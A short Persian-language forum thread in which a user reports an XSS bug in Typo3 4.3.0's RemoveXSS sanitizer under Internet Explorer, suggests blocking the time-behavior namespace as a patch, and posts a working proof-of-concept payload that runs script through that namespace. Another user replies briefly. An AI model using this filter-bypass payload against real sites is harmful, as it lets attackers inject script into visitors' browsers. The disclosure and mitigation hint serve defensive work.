باگ XSS در Typo3 نگارش 4.3.0(کشفیدم)

[Y.P.Y]

باگ XSS در Typo3 نگارش 4.3.0

سلام،
نرم افزار Typo3 نگارش 4.3.0 باگ XSS داره(مرورگر IE)
این باگ در تابع process در کلاس RemoveXSS داخل فایل RemoveXSS.php قرار داره...
خودتون با بلاک/ممنوع کردن urn:schemas-microsoft-com:time و تگ <? ?> Patch کنیدش.

<xml>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS24&quot;)&lt;/SCRIPT&gt;">

خوب بود؟

 

[Masoud1365]

جالب بود مرسی